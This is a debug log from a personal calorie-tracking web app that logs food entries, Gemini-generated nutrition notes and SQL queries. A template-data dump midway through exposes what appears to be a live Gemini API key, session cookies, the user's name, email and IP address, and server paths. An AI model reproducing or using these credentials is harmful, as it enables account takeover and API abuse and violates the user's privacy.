    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  },
  {
    id: 378,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 65,
    protein_gm: 1,
    carbs_gm: 16,
    fat_gm: 1,
    quantity: '3 slices (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
  },
  {
    id: 379,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 37,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
    replacements: 'Black coffee,Green tea,Herbal tea,Tea with skim milk,Tea with unsweetened almond/soy milk',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 2,
    skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
  },
  {
    id: 380,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Vada Pav',
    calories: 320,
    protein_gm: 7,
    carbs_gm: 45,
    fat_gm: 18,
    quantity: '1 piece',
    replacements: 'Grilled Paneer Tikka (higher protein, lower fat if grilled),Moong Dal Cheela (lentil pancake, higher protein, less oil),Sprouts Salad (very low calorie, high fiber),Baked Vada Pav (reduces fat from deep-frying)',
    created_at: '2025-12-13T06:42:46.000Z',
    skip_level: 3,
    skip_reason: "Deep-fried and high in refined carbohydrates (white bread, potato) and unhealthy fats. It's calorie-dense but relatively low in protein and micronutrients, making it suboptimal for muscle development and lean mass gain, especially with a desk job where overall calorie expenditure might be lower outside of gym time."
  }
]
2025-12-13T14:44:07.247Z server-connect:app Executing action step setvalue
2025-12-13T14:44:07.247Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T14:44:07.247Z server-connect:output var_total: 1031
2025-12-13T14:44:07.247Z server-connect:app Executing action step setvalue
2025-12-13T14:44:07.247Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T14:44:07.247Z server-connect:output var_consumed: 43
2025-12-13T14:44:07.247Z server-connect:app Executing action step setvalue
2025-12-13T14:44:07.247Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T14:44:07.248Z server-connect:output var_deficit: 1369
2025-12-13T14:44:07.248Z server-connect:app Executing action step custom
2025-12-13T14:44:07.248Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T14:44:07.249Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1031',
    surplus_or_deficit: '1369',
    status_flag: 2
  }
]
2025-12-13T14:45:02.519Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T14:45:02.520Z server-connect:app Executing action step identify
2025-12-13T14:45:02.520Z server-connect:app options: { provider: 'security' }
2025-12-13T14:45:02.520Z server-connect:output identity: 1
2025-12-13T14:45:02.520Z server-connect:app Executing action step restrict
2025-12-13T14:45:02.520Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:45:02.521Z server-connect:output restrict: undefined
2025-12-13T14:45:02.521Z server-connect:app Executing action step processWithGemini
2025-12-13T14:45:02.521Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T14:45:17.123Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Sarso Dal (Lentil Dish)',
      quantity: '1 cup cooked (approx 200g, assuming standard serving)',
      total_calories: 170,
      protein: 12,
      carbs: 32,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of plant-based protein, complex carbohydrates, and fiber, all crucial for muscle repair, sustained energy, and overall digestive health. Highly beneficial for muscle development goals.'
    },
    {
      food_name: 'Boiled Rice (White Rice)',
      quantity: '1 cup cooked (approx 150g, assuming standard serving)',
      total_calories: 195,
      protein: 4,
      carbs: 44,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "Provides readily available carbohydrates for energy, which can be useful especially post-workout for quick glycogen replenishment. However, for a desk job, moderating white rice intake is advisable due to its lower fiber content compared to whole grains. While not 'bad,' brown rice or other whole grains offer more sustained energy and nutrients."
    }
  ],
  total_summary: {
    total_calories: 365,
    total_protein: '16g',
    total_carbs: '76g',
    total_fat: '2.5g'
  }
}
2025-12-13T14:45:22.718Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T14:45:22.719Z server-connect:app Executing action step identify
2025-12-13T14:45:22.720Z server-connect:app options: { provider: 'security' }
2025-12-13T14:45:22.720Z server-connect:output identity: 1
2025-12-13T14:45:22.720Z server-connect:app Executing action step restrict
2025-12-13T14:45:22.720Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:45:22.720Z server-connect:output restrict: undefined
2025-12-13T14:45:22.720Z server-connect:app Executing action step condition
2025-12-13T14:45:22.720Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T14:45:22.720Z server-connect:app Executing action step repeat
2025-12-13T14:45:22.721Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T14:45:22.721Z server-connect:app Executing action step insert
2025-12-13T14:45:22.721Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T14:45:22.722Z server-connect:output calories: { affected: 1, identity: 381 }
2025-12-13T14:45:22.722Z server-connect:app Executing action step insert
2025-12-13T14:45:22.722Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T14:45:22.723Z server-connect:output calories: { affected: 1, identity: 382 }
2025-12-13T14:45:22.723Z server-connect:output repeat: [ {}, {} ]
2025-12-13T14:45:22.723Z server-connect:output condition: undefined
2025-12-13T14:45:22.969Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T14:45:22.969Z server-connect:app Executing action step identify
2025-12-13T14:45:22.969Z server-connect:app options: { provider: 'security' }
2025-12-13T14:45:22.969Z server-connect:output identity: 1
2025-12-13T14:45:22.969Z server-connect:app Executing action step restrict
2025-12-13T14:45:22.969Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T14:45:22.970Z server-connect:output restrict: undefined
2025-12-13T14:45:22.970Z server-connect:router Render template layouts/main
2025-12-13T14:45:22.970Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T14:45:53.099Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T14:45:53.101Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T14:45:53.102Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T14:45:53.102Z server-connect:app Executing action step identify
2025-12-13T14:45:53.102Z server-connect:app options: { provider: 'security' }
2025-12-13T14:45:53.102Z server-connect:output identity: 1
2025-12-13T14:45:53.102Z server-connect:app Executing action step restrict
2025-12-13T14:45:53.102Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:45:53.103Z server-connect:app Executing action step identify
2025-12-13T14:45:53.103Z server-connect:app options: { provider: 'security' }
2025-12-13T14:45:53.103Z server-connect:output identity: 1
2025-12-13T14:45:53.103Z server-connect:app Executing action step restrict
2025-12-13T14:45:53.103Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:45:53.103Z server-connect:app Executing action step identify
2025-12-13T14:45:53.103Z server-connect:app options: { provider: 'security' }
2025-12-13T14:45:53.103Z server-connect:output identity: 1
2025-12-13T14:45:53.103Z server-connect:app Executing action step restrict
2025-12-13T14:45:53.103Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T14:45:53.104Z server-connect:output restrict: undefined
2025-12-13T14:45:53.104Z server-connect:app Executing action step single
2025-12-13T14:45:53.104Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T14:45:53.104Z server-connect:output restrict: undefined
2025-12-13T14:45:53.104Z server-connect:app Executing action step single
2025-12-13T14:45:53.104Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T14:45:53.105Z server-connect:output restrict: undefined
2025-12-13T14:45:53.105Z server-connect:app Executing action step select
2025-12-13T14:45:53.105Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T14:45:53.106Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T14:45:53.107Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T14:45:53.107Z server-connect:app Executing action step select
2025-12-13T14:45:53.107Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T14:45:53.109Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  },
  {
    id: 378,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 65,
    protein_gm: 1,
    carbs_gm: 16,
    fat_gm: 1,
    quantity: '3 slices (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
  },
  {
    id: 379,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 37,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
    replacements: 'Black coffee,Green tea,Herbal tea,Tea with skim milk,Tea with unsweetened almond/soy milk',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 2,
    skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
  },
  {
    id: 380,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Vada Pav',
    calories: 320,
    protein_gm: 7,
    carbs_gm: 45,
    fat_gm: 18,
    quantity: '1 piece',
    replacements: 'Grilled Paneer Tikka (higher protein, lower fat if grilled),Moong Dal Cheela (lentil pancake, higher protein, less oil),Sprouts Salad (very low calorie, high fiber),Baked Vada Pav (reduces fat from deep-frying)',
    created_at: '2025-12-13T06:42:46.000Z',
    skip_level: 3,
    skip_reason: "Deep-fried and high in refined carbohydrates (white bread, potato) and unhealthy fats. It's calorie-dense but relatively low in protein and micronutrients, making it suboptimal for muscle development and lean mass gain, especially with a desk job where overall calorie expenditure might be lower outside of gym time."
  },
  {
    id: 381,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Sarso Dal (Lentil Dish)',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 32,
    fat_gm: 2,
    quantity: '1 cup cooked (approx 200g, assuming standard serving)',
    replacements: 'Reduce oil/ghee used for tempering,Increase vegetable content in the dal (e.g., spinach, lauki),Opt for a lighter preparation without added cream or coconut milk',
    created_at: '2025-12-13T09:15:22.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of plant-based protein, complex carbohydrates, and fiber, all crucial for muscle repair, sustained energy, and overall digestive health. Highly beneficial for muscle development goals.'
  },
  {
    id: 382,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Boiled Rice (White Rice)',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 44,
    fat_gm: 1,
    quantity: '1 cup cooked (approx 150g, assuming standard serving)',
    replacements: 'Brown rice (higher fiber, more sustained energy release),Quinoa (higher protein, lower net carbs, complete protein),Millets (e.g., foxtail, little millet - good fiber and nutrient content),Cauliflower rice (significantly lower calories and carbs, good for volume)',
    created_at: '2025-12-13T09:15:22.000Z',
    skip_level: 2,
